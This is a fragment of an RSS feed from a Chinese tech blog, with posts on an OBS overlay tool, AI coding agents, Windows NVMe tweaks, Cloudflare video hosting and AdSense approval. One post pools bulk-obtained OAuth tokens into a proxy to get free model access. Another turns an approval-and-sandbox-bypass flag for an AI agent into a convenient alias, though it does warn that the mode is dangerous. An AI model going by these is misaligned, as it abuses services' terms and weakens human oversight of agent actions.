</content:encoded></item><item><title>如何在直播中让你的观众实时了解你在用什么软件？</title><link>https://2x.nz/posts/obs-realtime-process-name/</link><guid isPermaLink="true">https://2x.nz/posts/obs-realtime-process-name/</guid><description>通过持续监测当前前台进程和指定程序的窗口标题，并将结果写入 TXT 文件，就可以让 OBS 实时向观众展示你正在使用的软件或当前播放的内容。</description><pubDate>Sat, 07 Mar 2026 19:19:43 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;我在直播时，经常会被观众问到这些问题：&lt;/p&gt;
&lt;p&gt;&lt;em&gt;主播主播，你现在用的是什么软件？&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;主播主播，这是什么游戏？&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;主播主播，这首歌叫什么？&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;这些问题当然可以直接口头回答，但总觉得不够优雅。毕竟这类信息通常也不涉及隐私，完全可以交给程序自动展示。&lt;/p&gt;
&lt;p&gt;于是我就开始琢磨：能不能做一个小工具，把 &lt;strong&gt;当前正在使用的软件&lt;/strong&gt;、&lt;strong&gt;正在播放的歌曲&lt;/strong&gt; 之类的信息，自动同步给 OBS，再展示给直播间观众？&lt;/p&gt;
&lt;p&gt;那么，具体该怎么实现呢？&lt;/p&gt;
&lt;p&gt;一开始我想到的是 OBS 的 &lt;strong&gt;游戏源&lt;/strong&gt;。因为我平时在用 &lt;strong&gt;VTube Studio&lt;/strong&gt;，它支持通过 OBS 的 &lt;strong&gt;游戏源&lt;/strong&gt; 捕获 Live2D 形象，并开启 &lt;strong&gt;允许透明&lt;/strong&gt;，效果很干净。&lt;/p&gt;
&lt;p&gt;不过 OBS 的游戏源本质上捕获的是渲染管线，而不是普通桌面窗口。换句话说，如果只是为了显示一行实时文字，还专门去写一个基于 DX、OpenGL 或 Vulkan 的渲染程序，明显有点杀鸡用牛刀。&lt;/p&gt;
&lt;p&gt;后来我发现，OBS 其实自带一个更轻量的方案：&lt;strong&gt;文字源&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我们真正需要的，归根结底也只是把几行文本显示到直播画面里，而且这些文本还得能实时更新。&lt;/p&gt;
&lt;p&gt;而 OBS 的文字源恰好支持 &lt;strong&gt;从文件读取&lt;/strong&gt;。既然如此，思路就一下子清晰了：&lt;/p&gt;
&lt;p&gt;只要让 OBS 持续读取一个 TXT 文件，再写一个小程序不断更新这个 TXT，不就可以了吗？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/obs-realtime-process-name.CBk8bgiz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个思路完全可行。实测下来，OBS 会每隔几秒重新读取一次 TXT 内容。虽然它不是即时 Hook，而是简单轮询，但对于“当前正在使用什么软件”这类信息来说，已经完全够用了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/obs64_ZV5MPVYEXj.CkRg5NoA.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不过，只做实时进程显示，其实只解决了 &lt;strong&gt;“我当前正在用什么软件”&lt;/strong&gt; 这个问题。&lt;/p&gt;
&lt;p&gt;如果我还想进一步告诉观众：&lt;strong&gt;“我现在正在放什么歌”&lt;/strong&gt; 呢？&lt;/p&gt;
&lt;p&gt;所以我又补了一个功能：支持监测指定的 &lt;strong&gt;EXE&lt;/strong&gt;，并实时读取这个进程的窗口标题变化。一般来说，不少音乐播放器都会把当前播放曲目写进窗口标题里。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/obs-realtime-process-name-2.znn-gN1G.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那如果中途我把音乐软件关掉了怎么办？&lt;/p&gt;
&lt;p&gt;也很简单：在检测不到目标进程时，程序就向 TXT 写入一个零宽空格。这样 OBS 端看起来就像“空白”，不会残留上一次的歌曲名；等软件重新启动后，显示内容又会自动恢复。&lt;/p&gt;
&lt;p&gt;整个方案落地下来，其实只需要在 OBS 里额外添加两个文字源即可。&lt;/p&gt;
&lt;p&gt;于是，这个小项目就这样诞生了：&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/process_watch2txt&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/WindowsTerminal_wV1C4TbD15.B9tmHkYH.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/livehime_vtq9relmFS.sgUlnWvx.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Codex！无限剑制！</title><link>https://2x.nz/posts/codex-unlimited-blade-works/</link><guid isPermaLink="true">https://2x.nz/posts/codex-unlimited-blade-works/</guid><description>多的不说，仅做记录</description><pubDate>Fri, 06 Mar 2026 05:48:05 GMT</pubDate><content:encoded>&lt;h1&gt;原理&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;flowchart TD
    A[&quot;通过“魔法”获得大量 OAuth Token&quot;]

    subgraph CPA
        B[&quot;批量导入 OAuth Token 到 CPA&quot;]
        C[&quot;CPA 创建虚拟 API 端点&quot;]
        D[&quot;生成 API Key&quot;]
        E[&quot;获得 OpenAI 兼容 API&quot;]

        B --&amp;gt; C --&amp;gt; D --&amp;gt; E
    end

    F[&quot;接入 Claude Code / Codex&quot;]

    A --&amp;gt; B
    E --&amp;gt; F
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;实操&lt;/h1&gt;
&lt;p&gt;首先，获得“魔法”，获得大量 OAuth Token&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/codex-unlimited-blade-works.Cl7VC2bJ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装 &lt;a href=&quot;https://github.com/router-for-me/CLIProxyAPI&quot;&gt;router-for-me/CLIProxyAPI: Wrap Gemini CLI, Antigravity, ChatGPT Codex, Claude Code, Qwen Code, iFlow as an OpenAI/Gemini/Claude/Codex compatible API service, allowing you to enjoy the free Gemini 2.5 Pro, GPT 5, Claude, Qwen model through API&lt;/a&gt;。前往 &lt;code&gt;/management.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;上传认证文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/codex-unlimited-blade-works-1.CfVv1BTr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加 API Key&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/codex-unlimited-blade-works-2.B9E6twFt.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看可用模型&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/codex-unlimited-blade-works-4.BHMqVirW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;导入 Claude Code&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/codex-unlimited-blade-works-3.BlAIRmGO.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/codex-unlimited-blade-works-5.BPgGDc71.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>AI Agent 二三事</title><link>https://2x.nz/posts/ai-agent/</link><guid isPermaLink="true">https://2x.nz/posts/ai-agent/</guid><description>从实战角度对比 AI IDE 与 AI Agent，并演示如何用 ZCF 快速安装和配置 Codex。</description><pubDate>Thu, 05 Mar 2026 14:51:54 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;了解我的人通常都知道，我平时写代码主要用 AI IDE，比如 Trae、Cursor 等。&lt;/p&gt;
&lt;p&gt;AI IDE 的优势很明显：在保留 Git、代码高亮等高效手动工具的同时，把最耗时的代码编写交给 AI，我们只需要用自然语言描述目标即可。&lt;em&gt;图为 Trae&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-agent-1.Db0l-Vt6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;AI Agent 是什么？&lt;/h1&gt;
&lt;p&gt;简单来说，AI Agent 一般提供的是一个“偏终端化”的工作环境。和 AI IDE 一样，它也能通过自然语言完成开发任务。&lt;/p&gt;
&lt;p&gt;看起来好像和 AI IDE 没区别？其实差别很大。&lt;/p&gt;
&lt;p&gt;如果你是先用 AI IDE，再切到 AI Agent，通常会感受到明显落差：界面更朴素，交互更直接。&lt;/p&gt;
&lt;p&gt;AI Agent 往往只给你一个输入框。你描述目标后，它不仅能写代码，还能借助外部能力给自己“加特技”。&lt;/p&gt;
&lt;p&gt;比如接入 &lt;strong&gt;Playwright MCP&lt;/strong&gt;，它就可以自动改前端代码并执行自动化调试。&lt;/p&gt;
&lt;p&gt;换句话说，AI Agent 的上手门槛看起来更低：你不一定要先理解完整代码结构，也不需要手动管理每一步流程。当然，对熟手来说，这种模式有时会降低精细控制的效率，但确实能省下不少精力。&lt;/p&gt;
&lt;p&gt;例如，我们可以把 Git 推送远程仓库这类流程交给 AI：自动生成 commit、自动配置代理、自动 push，并把本次规则和约束持久化，下次就不用重复说明。&lt;em&gt;图为 Codex&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-agent-2.B2fnuYoK.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;各 AI Agent 的区别&lt;/h1&gt;
&lt;h3&gt;&lt;a href=&quot;https://opencode.ai/zh&quot;&gt;OpenCode | 开源 AI 编程代理&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;游客可以直接使用免费的公益模型，不需要付费。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/Image_1772724238045_770.uTLsPO5h.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://claude.com/product/claude-code&quot;&gt;Claude Code by Anthropic | AI Coding Agent, Terminal, IDE&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;它需要一个 &lt;strong&gt;POSIX Terminal&lt;/strong&gt;（比如 &lt;strong&gt;Git Bash&lt;/strong&gt;）。否则很多终端命令无法正常执行，因为它的工作流高度依赖 Bash 命令（如 &lt;code&gt;cat&lt;/code&gt;、&lt;code&gt;ls&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;想要完整发挥体验，通常需要使用 &lt;strong&gt;Claude&lt;/strong&gt; 系列模型。在一次会话中，它可能会让不同模型分工处理理解、规划、执行、测试等环节。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/Image_1772724294856_373.QcfZy8BV.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://chatgpt.com/codex&quot;&gt;Codex&lt;/a&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;目前我本人在用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;限制相对少，在 Windows Terminal（PowerShell）里也能跑得很好。&lt;/p&gt;
&lt;p&gt;只需要提供可用的模型 API 即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-agent-3.BmjjhNCJ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;如何优雅地使用 AI Agent&lt;/h1&gt;
&lt;p&gt;当然，你也可以手动配置各种 Agent，其实并不难。&lt;/p&gt;
&lt;p&gt;通常只要看文档、找到配置文件（一般是 &lt;code&gt;.json&lt;/code&gt;），然后手写一份配置，或者让 AI 帮你生成一份。&lt;/p&gt;
&lt;p&gt;但目前已经有不少图形化、一键化工具，我更推荐先用这些工具快速上手。&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://github.com/farion1231/cc-switch&quot;&gt;CC-Switch&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;它可以用图形界面为不同 Agent 配置模型。你只需要像填表一样填入 API Endpoint、API Key、模型名，它会自动生成并应用对应 Agent 的 JSON 配置。&lt;/p&gt;
&lt;p&gt;同时也支持图形化配置 MCP 和 Skill。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-agent-4.6RwNorDX.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://github.com/UfoMiao/zcf&quot;&gt;ZCF&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;这个工具可以自动帮你安装 Agent，并一键部署一些主流 MCP，还能设置模型系统提示词预设，并提供基础工作流。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-agent-5.DwvlpdUa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;从零安装并配置一个 Agent&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;你需要事先准备一个模型 API&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;先设置 NPM 镜像源：&lt;a href=&quot;https://npmmirror.com/&quot;&gt;npmmirror 镜像站&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;全局安装 zcf（Node 20.x+）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install -g zcf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行 zcf：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx zcf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着把目标 Agent 从 &lt;strong&gt;Claude Code&lt;/strong&gt; 切换为 &lt;strong&gt;Codex&lt;/strong&gt;。输入 &lt;code&gt;S&lt;/code&gt; 切换到 Codex。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-agent-6.CexYFniM.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后输入 &lt;code&gt;1&lt;/code&gt; 执行完整初始化，按需勾选即可。&lt;/p&gt;
&lt;p&gt;默认情况下，AI Agent 会先在沙盒里执行命令；如果某条指令在沙盒中失败，才会询问你是否允许在正常环境执行。&lt;/p&gt;
&lt;p&gt;你也可以使用一个高风险启动参数，让 Codex 进入“无人值守、默认放行”的模式：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!caution]
使用该参数启动 Codex 后，指令可能被 &lt;strong&gt;默认执行&lt;/strong&gt;，并且默认在 &lt;strong&gt;正常环境&lt;/strong&gt; 下运行。这非常危险，请务必谨慎。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;codex --dangerously-bypass-approvals-and-sandbox
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个命令很长，可以做成别名。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bash：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;alias codexfull=&apos;codex --dangerously-bypass-approvals-and-sandbox&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;PowerShell：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 创建 PS 配置文件
New-Item -Type File -Force $PROFILE

# 用记事本打开 PS 配置文件
notepad $PROFILE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加入这一段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function codexfull {
    codex --dangerously-bypass-approvals-and-sandbox $args
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后在你的项目目录直接输入 &lt;code&gt;codexfull&lt;/code&gt;，即可启动一个高权限执行模式的 Agent。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-agent-7.BTHZ9fDJ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来你就可以让它做你要做的事：删文件、写文章、修 Bug，甚至从零搭建项目。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-agent-8.CepUwizk.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-agent-9.BzIKSVbr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>一行命令拉爆你的Win11硬盘4K随机性能！</title><link>https://2x.nz/posts/win11-native-nvme/</link><guid isPermaLink="true">https://2x.nz/posts/win11-native-nvme/</guid><description>你知道吗？其实Windows一直都在让NVMe硬盘以兼容模式跑！</description><pubDate>Thu, 26 Feb 2026 22:27:08 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;简单来说，Windows为了兼容性，始终都在让我们的NVMe固态硬盘模拟为SCSI跑&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/win11-native-nvme-1.Ds5yCmas.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是就在前不久，微软为新版Windows11提供了一个开关，允许将NVMe固态硬盘使用原生的NVMe驱动&lt;/p&gt;
&lt;h1&gt;实测&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/4833b89c-f0b6-42f0-9430-55dafc770678.CzvGA3T7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/d86fb68e-f5a4-4a18-a94f-e31d309457bd.Dfe_e3Nt.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以明显看到，在4K随机读写都有不小的提升。而4K性能提升有助于提升在频繁IO工作下的性能，比如浏览网页，列出文件，查看任务管理器&lt;/p&gt;
&lt;p&gt;该功能似乎并不仅限于提升极限性能，也提升了磁盘冷启动的速度，貌似可以缓解一些莫名其妙的顿卡&lt;/p&gt;
&lt;p&gt;总之推荐开启&lt;/p&gt;
&lt;h1&gt;为我的Win11启用原生NVMe驱动&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;[!caution]
数据无价，谨慎操作&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!warning]
操作之前请确保你的磁盘使用 &lt;strong&gt;微软官方&lt;/strong&gt; 的驱动，而不是 &lt;strong&gt;盘厂驱动&lt;/strong&gt; 或 &lt;strong&gt;启用了 Intel VMD&lt;/strong&gt; ，否则操作后将无法进入系统&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;前往 https://github.com/thebookisclosed/ViVe 下载 &lt;strong&gt;ViVeTool&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接下来查看你的系统版本号，不同版本需要执行不同命令：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/win11-native-nvme-2.CIEOjxpK.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对于Windows 11 24H2/25H2：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vivetool.exe /enable /id:48613417,48433719,49453572,55369237,59254307,59274315
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于Windows 11 26H1：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vivetool.exe /enable /id:48613417,48433719,49453572
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行命令后重启电脑，开机后打开 &lt;strong&gt;设备管理器&lt;/strong&gt; ，若多出新条目 &lt;strong&gt;存储磁盘&lt;/strong&gt; ，且该条目中有若干个 &lt;strong&gt;NVMe磁盘&lt;/strong&gt; 则开启成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/win11-native-nvme-3.BjEMY4CZ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;参考文献 · 鸣谢&lt;/h1&gt;
&lt;p&gt;为此文编写奠定了基础 - https://www.bilibili.com/video/BV1CHi8BjELT&lt;/p&gt;
&lt;p&gt;部分图片资源引用 - https://www.bilibili.com/opus/1154814983921467415&lt;/p&gt;
</content:encoded></item><item><title>教你在Cloudflare上原生托管视频！自建YouTube！</title><link>https://2x.nz/posts/cfvideo/</link><guid isPermaLink="true">https://2x.nz/posts/cfvideo/</guid><description>你知道吗？Cloudflare上也是可以“原生”托管视频的！</description><pubDate>Thu, 26 Feb 2026 22:01:46 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;你可能看过 &lt;a href=&quot;/posts/jkw/&quot;&gt;这一期文章&lt;/a&gt; ，在该文章中，我们嵌入了一个视频，并且是由Cloudflare“原生”提供的，你是否想知道这是怎么做到的？&lt;/p&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;众所周知，视频其实就是文件&lt;/p&gt;
&lt;p&gt;而Cloudflare有一项业务支持在它的边缘节点上直接存放文件&lt;/p&gt;
&lt;p&gt;当然，我说的并不是Cloudflare R2这个对象存储&lt;/p&gt;
&lt;p&gt;而是Cloudflare Page/Worker的静态资产分发&lt;/p&gt;
&lt;p&gt;你可能会想说，欸？这东西不是限制单文件最大25MB吗？稍微大点的视频是不是就没法放了？那也没啥用嘛&lt;/p&gt;
&lt;p&gt;并非，如果你稍微了解现代Web的流媒体播放，你就会知道，实际上，大部分流媒体资源播放时，客户端并不会一次性下载整个视频包体，而是采用流式传输&lt;/p&gt;
&lt;p&gt;简单来说，就是将一个大视频进行分片，客户端只需要下载其中一个小片，即可立即开始播放，之后就是传统的边播边下了&lt;/p&gt;
&lt;p&gt;那么既然我们分片了，就可以轻松绕过单文件25MB这个限制了&lt;/p&gt;
&lt;p&gt;不过我们刚刚讲的都是些理论，众所周知，理论都是简单的，实践都是困难的&lt;/p&gt;
&lt;p&gt;那么我们怎么从0实现它呢？&lt;/p&gt;
&lt;h1&gt;实操&lt;/h1&gt;
&lt;p&gt;接下来，我就以刚才提到的文章中的视频的源文件举例，可以看到，它是一个AV1编码的MP4，并且有1GB之大&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cfvideo-1.CszPlb4y.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cfvideo-5.B8lckn4P.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来，我们使用 &lt;strong&gt;FFmpeg&lt;/strong&gt; 将其转为流式MP4&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffmpeg -i 0.mp4 -map 0 -c copy -f dash -seg_duration 4 -use_template 1 -use_timeline 1 manifest.mpd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，我们就能得到产物： &lt;strong&gt;一个 &lt;code&gt;.mpd&lt;/code&gt; 和一堆 &lt;code&gt;.m4s&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cfvideo-3.BbD1lejS.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中 &lt;code&gt;.mpd&lt;/code&gt; 为索引文件，而 &lt;code&gt;.m4s&lt;/code&gt; 文件才是真正的被切片后的视频流&lt;/p&gt;
&lt;p&gt;改为按大小排序，可以看到其中最大一个切片也才 ≈ 18MB，完全符合Cloudflare所规定的单文件最大25MB的规定&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cfvideo-4.FhQrDPp6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;好了，接下来我们只需要将其上传到Cloudflare Page了，然后绑定一个域名，这样，我们就成功在Cloudflare上托管一条视频了&lt;/p&gt;
&lt;p&gt;然后呢？我们需要配置客户端，或者说，让你的网站能够读取该视频并播放对吧&lt;/p&gt;
&lt;p&gt;一般来说，将一个视频流式传输在浏览器中播放有多种方案，这里就介绍一种最简单的，利用 &lt;a href=&quot;https://reference.dashif.org/&quot;&gt;Dash.js&lt;/a&gt; 来在浏览器中流式播放 &lt;strong&gt;流式MP4&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这非常简单！&lt;/p&gt;
&lt;p&gt;首先，使用CDN引入 Dash.js 至 &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; 块内： &lt;a href=&quot;https://cdnjs.com/libraries/dashjs&quot;&gt;dashjs - Libraries - cdnjs - The #1 free and open source CDN built to make life easier for developers&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://cdn.dashjs.org/latest/dash.all.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在你想嵌入视频的页面放置一个带 &lt;code&gt;data-dashjs-player&lt;/code&gt; 属性的 &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; 块，将 &lt;code&gt;src&lt;/code&gt; 设为 &lt;code&gt;.mpd&lt;/code&gt; 即可，比如...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;video  
data-dashjs-player  
src=&quot;https://f.2x.nz/jkw/manifest.mpd&quot;  
controls  
autoplay&amp;gt;  
&amp;lt;/video&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就这么简单！&lt;/p&gt;
&lt;p&gt;至此，我们成功将一个1GB大小的文件托管到了Cloudflare，并且成功在我们的网站中播放！&lt;/p&gt;
</content:encoded></item><item><title>极客湾手机大横评补档</title><link>https://2x.nz/posts/jkw/</link><guid isPermaLink="true">https://2x.nz/posts/jkw/</guid><description>大手来了，我说大手来了你尔朵隆吗</description><pubDate>Wed, 25 Feb 2026 17:20:03 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;video&lt;br /&gt;
data-dashjs-player&lt;br /&gt;
src=&quot;https://f.2x.nz/jkw/manifest.mpd&quot;&lt;br /&gt;
controls&lt;br /&gt;
autoplay&amp;gt;&lt;br /&gt;
&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;p&gt;由于视频过大，需要等待加载。同时确保你的设备支持AV1解码&lt;/p&gt;
&lt;p&gt;https://github.com/FalseFor/GeekerwanTest2026/&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/posts/cfvideo/&quot;&gt;戳我看原理&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>保姆级通过Google Adsense的教程！</title><link>https://2x.nz/posts/google-adsense/</link><guid isPermaLink="true">https://2x.nz/posts/google-adsense/</guid><description>你是否正在运营一个脍炙人口的网站？手把手教你变现！</description><pubDate>Mon, 23 Feb 2026 12:46:15 GMT</pubDate><content:encoded>&lt;h1&gt;Google Adsense 是什么&lt;/h1&gt;
&lt;p&gt;它是Google提供的一个广告服务。当您的网站通过Adsense审核后，Google将会开始在你的网站中插入广告展示给访客，从而让你赚取收入&lt;/p&gt;
&lt;h1&gt;申请 Google Adsense&lt;/h1&gt;
&lt;p&gt;前往 https://adsense.google.com/ ，填写网站的相关信息，并通过所有权验证（有三种方式，建议都做）&lt;/p&gt;
&lt;p&gt;其中，地址一栏必须填写 &lt;strong&gt;真实、精确的&lt;/strong&gt; 信息。因为在第一次提现前，Google会给你寄一封 &lt;strong&gt;实体验证码&lt;/strong&gt; ，没有该验证码将无法提现&lt;/p&gt;
&lt;p&gt;虽然其他条目没有严格要求，但也建议实实在在，真真实实地填写&lt;/p&gt;
&lt;p&gt;提交后，Google会审核你的网站，一般来说，前几次都不会通过，不过，你非常幸运！读到了这篇文章，它能保障你的网站符合Adsense的标准，一次通过！&lt;/p&gt;
&lt;h1&gt;正片：你需要对网站做什么&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;不要移除Adsense的JS代码&lt;/strong&gt; 。该JS是Google动态插入广告的方式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不要频繁更换域名&lt;/strong&gt; 。提交申请后请保证你的域名在长时间内始终可用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;在审核期间多多更新网站&lt;/strong&gt; 。至少让最新的文章是在近期，以证明你的网站活跃&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;在搜索引擎上有良好的SEO&lt;/strong&gt; 。搜索你的网站： &lt;code&gt;site: xx.xx&lt;/code&gt; 可以得到一个不错的搜索结果即可。详见： &lt;a href=&quot;/posts/improve-seo/&quot;&gt;如何提高网站的SEO？ - 《二叉树树》官方网站&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网站原创文章达到 30+&lt;/strong&gt; 篇 。及格线是15篇，但是越多越好，且不要抄袭/照搬，原创度要高于70%&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不要放置违禁内容&lt;/strong&gt; 。如色情、暴力、引战等内容，哪怕这些内容可以短时间吸引大量访客浏览&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设置隐私政策页面&lt;/strong&gt; 。一个正规的网站应当尊重访客的个人隐私，您需要声明您收集访客的何种信息，以及会做何保护措施&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;添加 Cookie 同意组件&lt;/strong&gt; 。如果你的网站分析访客行为，或收集访客行为并交由第三方机构分析，您不仅需要披露它，也需要让用户有选择权，使得访客可以保护自己的个人信息&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;宣传网站，提升合法流量&lt;/strong&gt; 。可以用各种方式提升网站的访问量，包括但不限于在大型论坛发帖，建立社媒发布音视频引流等。以让更多用户了解并访问您的网站&lt;/li&gt;
